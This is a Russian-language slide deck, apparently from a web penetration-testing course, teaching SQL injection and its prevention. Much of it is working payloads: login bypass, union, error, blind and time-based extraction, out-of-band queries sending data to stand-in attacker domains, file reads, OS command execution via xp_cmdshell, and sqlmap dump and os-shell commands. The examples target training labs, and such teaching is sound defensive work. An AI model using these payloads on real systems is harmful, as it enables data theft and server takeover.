<style> .reveal { font-size: 36px; } </style> # Web App Pentest ## 4 SQL Injection --- Вопросы по заданиям? --- ## Темы занятия * Краткий обзор SQL * Описание уязвимости SQL injection * Вектора эксплуатации: bypass, union-based * Обзор имеющихся информационных ресурсов по уязвимости SQL injection * Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based. * Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection * Рекомендации для разработчиков для исключения уязвимости SQL injection --- ## SQL SQL - Structured Query Language Позволяет делать запросы к реляционным базам данным. Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL: - MySQL - SQLite - Oracle - MSSql - PostgreSQL --- ## SQL Данные в реляционных БД храняться в таблицах | Id | Name | Password | | -------- | -------- | -------- | | 1 | admin | 123123 | | 2 | user | jf#8EfjsiLEiws- | | | 3 | guest | | | --- ## SQL ```sql= SELECT name,password FROM users WHERE id=1 OR substr(name,1,1)='g' ORDER BY id LIMIT 2 ``` | Name | Password | | ----- | --------------- | | admin | 123123 | | guest | | --- ## Run SQL online https://www.jdoodle.com/execute-sql-online - SQLite http://sqlfiddle.com - все 5 http://rextester.com/l/sql_server - MSSQL, PostgreSQL, MySQL, Oracle https://sqliteonline.com/ - PostgreSQL, SQLite, MariaDB (MySQL), MSSQL --- ## SQL https://www.w3schools.com/sql/default.asp - tutorial http://sql-ex.ru/ - сайт с упражнениями для SQL --- ## SQL injection --- ## OWASP A1: Injection Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации. --- ## SQL Injection Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия. --- ## SQL Injection ```php $query = "SELECT username, email, phone FROM users WHERE username = '" . $_REQUEST['username'] . "'"; $result = mysql_query($conn, $query); ``` --- ## SQL Injection ```php $query = "SELECT username, email, phone FROM users WHERE username ='" . $_REQUEST['username'] . "'"; $result = mysql_query($conn, $query); ``` `http://vuln.example.com/?username=John33' or '1'='1` --- ## SQL Injection ```php $query = "SELECT username, email, phone FROM users WHERE username ='" . $_REQUEST['username'] . "'"; $result = mysql_query($conn, $query); ``` `http://vuln.example.com/?username=John33' or '1'='1` ```php= echo $query; SELECT username, email, phone FROM users WHERE username='John33' or '1'='1' ``` --- ## SQL Injection Пример: bWAPP - SQL Injection (Login Form/Hero). --- ## Упражнение Root me: SQL injection - Authentication --- ## SQL Injection Possible impact: * Чтение информации из доступных баз данных * Получение информации о сервере, текущем пользователе, настройках * Получение информации из файловой системы * Возможность модификации информации в базе данных * Возможность записи в файлы * Возможность выполнения произвольного кода --- ## SQL Injection - cheatsheets Pentest Monkey: http://pentestmonkey.net/category/cheat-sheet/sql-injection Payloads all the things: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/ --- ## SQL Injection ### Техники атак --- ## Техники SQL Injection * Bypassing * Stacked queries * Union-based * Error-based * Out of band * Boolean blind * Time-based (double blind) --- ## Bypass Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение ```php $sql = "SELECT username FROM users WHERE username='".POST['login']." AND password='".md5(POST[‘password’])."'"; ``` login=admin' or '1'='1&password=kekpekpohek login=admin' -- &password=kekpekpohek --- ## Stacked queries ```sql= SELECT * FROM products WHERE productid=1; DELETE FROM products ``` Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.) В том числе вызывать хранимые процедуры, системные функции и т.д. ![](https://i.imgur.com/jkHtdJU.png) --- ## Union based UNION - оператор SQL, позволяющий объединить результаты двух запросов ```SQL SELECT name,password from users UNION SELECT name,password from system_users ``` --- ## Union based UNION - оператор SQL, позволяющий объединить результаты двух запросов ```SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT '123','234' ``` --- ## Union based UNION - оператор SQL, позволяющий объединить результаты двух запросов ```SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT '123','234' SELECT name,password from users UNION SELECT title,body from posts ``` --- ## Union based Если данные из запроса выводятся в ответ, то можно проводить Union-based SQL-инъекции. Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран. ```php $sql = "SELECT first_name, second_name, city FROM users WHERE id=$id"; ``` ```/users.php?id=1 UNION ALL SELECT login,password,'1' FROM users``` --- ## Union based Определение количества столбцов в запросе -ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок - возникнет ошибка. * ?id=2 ORDER BY 4 * ?id=2 GROUP BY 4 Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки - количество столбцов. <Пример в онлайн SQL> --- ## Union based /users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins Что надо учитывать: 1) Лучше добавлять ALL - если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных 2) Если страница выводит только определенное количество ответов (например, один), нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось `name=fefefe' and 1=0 UNION SELECT ....` --- ## Union based SQL Injection (GET/Search) SQL Injection (GET/Select) --- ## SQLite Информацию о схеме в SQLite можно получить: `SELECT sql from sqlite_master` --- ## Упражнения SQL injection - String SQL injection - Numeric --- ## Отступление #### О поиске инъекций и сборе информации из базы --- ## В каких запросах могут быть инъекции В любых! * SELECT - самый распространенный * INSERT * UPDATE * DELETE Обычно из семантики запроса можно понять что за запрос делается. --- ## Место инъекции ![](https://i.imgur.com/WpuGjkR.png) --- ## Место инъекции ![](https://i.imgur.com/LKRrrpI.png) В большинстве случаев --- ## Место инъекции ![](https://i.imgur.com/wF7QCHO.png) Иногда в этих --- ## Нужна ли кавычка Два типа: ```sql SELECT * FROM users where password = '<input>' SELECT * FROM users where id=<input> ``` Второй способ используется для числовых значений. Если в процессе анализа видим, что нормальное значение поля - число, то проверять надо оба варианта --- ## Как проверить что есть инъекция Для числовых полей: Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится. --- ## Как проверить что есть инъекция Для "кавычковых" полей: Сделать запрос, который не нарушает логику работы. Рекомендуется: `id` = `5555' AND '1'='1` Если ответ тот же что и на странице id=5555, при этом ответ на id=5555'<random_data> - не такой, то инъекция вероятно есть --- ## Как проверить что есть инъекция Мы также можем использовать payload, которые приводят к задержке или DNS-запросу. https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection --- ## Комментарии в SQL Зависят от диалекта <пробел>--<пробел> - комментирует оставшуюся часть строки. Может не работать в случае многострочных запросов ```sql SELECT * from USERS WHERE username='<login>' AND password='<hash(password)>' ``` `login`=`admin' -- ` - в данном случае не сработает, т.к. последняя строка все еще будет работать. --- ## Комментарии в SQL В некоторых диалектах есть многострочный комменарий /* --- ## Что нас интересует в БД 1) Системная информация 2) Имена таблиц 3) Имена колонок 4) Данные 5) Доступ к локальным файлам 6) Выполнение команд ОС --- ## Системная информация * Версия * Имя пользователя * Имя хоста <Пример> --- ## Таблицы и колонки См. cheatsheet Например для MySQL: ```SELECT table_name from information_schema.tables``` ```SELECT column_name from information_schema.columns where table_name='table'``` --- ## Определение СУБД ![](https://i.imgur.com/YnyWmYS.png) --- ## Вернемся к техникам атак --- ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | ------ | ---------------------------------------------------------------------------------------------------------------------------------------- | | MySQL | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; | | MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) | | MSSQL | SELECT CAST((select name from PurchaseOrderDetail) as int); | --- ``` ``` --- ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | ---------- | -------------------------------------------------------------------------------- | | Oracle | (utl_inaddr.get_host_address((select user from DUAL))) | | PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); | | DB2 | select TO_CHAR((select 'fefwefwef' from sysibm.sysdummy1)) from sysibm.sysdummy1 | --- ## Error based Пример --- ## Boolean blind ## (Boolean based) --- ## Boolean blind Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат Например: `?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)` `?id=12 - IF((SELECT 1)=1,2,3)` --- ## Boolean Blind Отправляя поочередно множество "вопросов" в БД можно получить произвольную информацию. --- ## Boolean Blind <Пример> --- ## Boolean Blind Для эксплуатации нам нужно уметь делать следующие 4 действия: * Определять количество строк в ответе * Выбирать конкретный объект из всей выборки * Определять количество символов в строке * Определять конкретный символ конкретной строки --- ## Boolean Blind Условные операторы * `IF` - только в MySQL * `CASE ... WHEN ... THEN ... ELSE ... END` - в большинтве СУБД --- ## Boolean Blind Условные операторы Часто можно его не использовать: `?id=12 AND (SELECT count(*) FROM information_schema.tables)>50` --- ## Boolean Blind Выбираем конкретную строку из ответа: `limit 1,2` - MySQL,SQLite `limit 1 offset 0` - Postgres `OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` - MSSQL и Oracle (новые версии) --- ## Boolean Blind Получаем длину строки: * `len(name)` - mysql * `length(name)` - остальные --- ## Boolean Blind Выбираем 1 символ: * `substr(name,1,1)` - MySQL, SQLite, Oracle * `substring(name,1,1)` - MSSQL, Postgres --- ## Boolean Blind #### Бинарный поиск Позволяет определить значение 1 байта за 8 запросов ![](https://i.imgur.com/DYGJbmM.png) --- ## Boolean Blind Приведение символа к числу: * `unicode(substr(name,1,1))` - SQLite * `ASCII(substr(name,1,1))` - всех остальных --- ## Out of Band --- ## Out of Band Идея - заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса. --- ## Out of Band ### MSSQL ```sql select * from fn_trace_gettable('\\'+(select 'abc')+'domain.hacker.com\1.trc',default) ``` Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file` --- ## Out of Band ### Oracle ```sql SELECT UTL_HTTP.REQUEST(concat('http://',(select ...),'.attacker.domain.com') ``` --- ## Time based ## (Double blind) --- ## Time based Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии. Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind. Пример: `SELECT IF(1=1,SLEEP(10),1)` --- ## Привелигированные атаки --- ## Чтение файлов Требует привилегированного пользователя MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)` см. cheatsheet. <пример> --- ## Запись файлов MySQL: ```sql SELECT * from users INTO OUTFILE '/tmp/123.txt' ``` см. cheatsheet. <пример - заливка шелла в /app/images> --- ## Выполнение команд MSSQL: ```sql EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; ``` --- ## Выполнение команд PostgreSQL: ```sql= CREATE TABLE commands_results ( id SERIAL PRIMARY KEY, output TEXT ); COPY commands_results (output) FROM PROGRAM 'whoami'; ``` --- ## sqlmap --- ## sqlmap Автоматический сканер SQL-инъекций и помощник в их эксплуатации https://github.com/sqlmapproject/sqlmap `apt-get install sqlmap` `brew install sqlmap` --- ## sqlmap Есть две фазы работы: * Обнаружение * Эксплуатация --- ## sqlmap - Обнаружение - базовый пример ```sqlmap -u "http://web-fund.hackeru.pro:8001/sqli_1.php?title=a&action=search"``` <демонстрация> --- ## sqlmap - Обнаружение Передача запроса целиком: `sqlmap -r request.txt` request.txt можно взять прямо с BURP --- ## sqlmap - Обнаружение Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ * Пример: `sqlmap -u "http://localhost/sqli_1.php?title=*&action=search"` Аналогично внутри файла, передаваемого в -r. --- ## sqlmap - Обнаружение Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации --technique * B=boolean * E=error * U=union * S=staked * T=time-based --- ## sqlmap - Обнаружение Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть. Тогда можно попробовать следующее: * Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос. * Наоборот убрать все, оставить в запросе одну только звездочку. --- ## sqlmap - Обнаружение --level - чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5 --risk - чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1. --- ## sqlmap - Эксплуатация Достаем данные. 1) листим базы данных `sqlmap ... --dbs` 2) листим таблицы `sqlmap -D bWAPP --tables` 3) листим колонки `sqlmap -D bWAPP -T heroes --columns` 4) дампим таблицу `sqlmap -D bWAPP -T heroes --dump` --- ## sqlmap - Эксплуатация sql shell позволяет выполнять запросы SQL. `sqlmap ... --sql-shell` --- ## sqlmap - Эксплуатация OS shell позволяет автоматически выполнить команды ОС `sqlmap ... --os-shell` --- ## sqlmap - Эксплуатация --threads - количество потоков Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс. --- ## sqlmap - Кэширование `sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш. В таком случае нужно удалить директорию <демонстрация>. --- ## sqlmap - упражнение root-me --- ## sqli_blinder https://github.com/sorokinpf/sqli_blinder Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется. Нужно реализовать 1 функцию на Python. --- ## INSERT SQL Injections --- ## INSERT SQL Injections Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым. --- ## INSERT SQL Injections `#users -> (id,is_admin,name,password)` ```php= $sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )" ``` `?name=‘,'fefef'),(0,1,'new_admin&password=123123` Добавит нового пользователя с правами admin’a --- ## INSERT SQL Injections `#posts -> (id,title,body)` ```php= $sql = "INSERT INTO posts VALUES (0,'$title','$body')"" ``` `?body='),(1,(SELECT @@version),'other` Добавит результат subquery в запись. Потом этот результат может быть считан. --- ## UPDATE SQL Injections --- ## UPDATE SQL Injections UPDATE users SET email='<span style="color:red"><input></span>' WHERE id='<span style="color:green"><input></span>' --- ## UPDATE SQL Injections ```sql UPDATE users SET email='<input>' WHERE id='2' ``` Тут можно изменять другие поля как этой так и других записей: 1) `email=',is_admin='1` ```sql UPDATE users SET email='',is_admin='1' WHERE id='2' ``` 2) `email=',password='123' where username='admin' -- ` ```sql UPDATE users SET email='',password='123' where username='admin' -- ' WHERE id='2' ``` --- ## UPDATE SQL Injections ```sql UPDATE users SET email='<input>' WHERE id='2' ``` Также можно получить данные: 3) `email=',about=(SELECT @@version) where username='my_user' --`` ```sql UPDATE users SET email='',about=(SELECT @@version) where username='my_user' -- ' WHERE id='2' ``` --- ## UPDATE SQL Injections ```sql UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>' ``` 1) Тут можно изменить указанные в запросе поля другому пользователю `email=our@mail.ru&id=testfefefefe' or username='admin` --- ## UPDATE SQL Injections ```sql UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>' ``` Также можно провести блайнд атаку на получение данных `email=xxx@zzz.ru&id=1' and (select count(*) from users)>10 -- ` Если почта изменилась, значит пользователей больше 10. --- ## Защита от SQL injection --- ## Защита от SQL injection - Валидация - Безопасное обращение к SQL --- ## Защита от SQL injection * Санитизация (экранирование опасных символов) - <span style="color:red">НЕ РЕКОМЕНДУЕТСЯ</span> * Prepared statements * ORM --- ## Защита от SQL injection Санитизация ```php= <?php $link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password') OR die(mysql_error()); $query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'", mysql_real_escape_string($user), mysql_real_escape_string($password)); ?> ``` --- ## Защита от SQL injection Prepared Statements ```php= $stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?"); if ($stmt->execute(array($_GET['name']))) { while ($row = $stmt->fetch()) { print_r($row); } } ``` --- ## Защита от SQL injection ORM ```php= Model\User::where('active', 1) ->where('username', $_GET['username']) ->orberBy('username') ->get(); ``` --- ## Задания - на CTFd (http://web-fund.hackeru.pro) - тест для самопроверки в LMS ---
{"metaMigratedAt":"2023-06-16T10:16:54.011Z","metaMigratedFrom":"YAML","title":"Web App Pentest - 4 SQL Injection","breaks":true,"slideOptions":"{\"transition\":\"fade\",\"parallaxBackgroundImage\":\"https://i.imgur.com/YClZ1aY.jpg\"}","contributors":"[{\"id\":\"0c054233-c19a-4022-8ae1-7189582f00e1\",\"add\":19426,\"del\":4}]"}
    351 views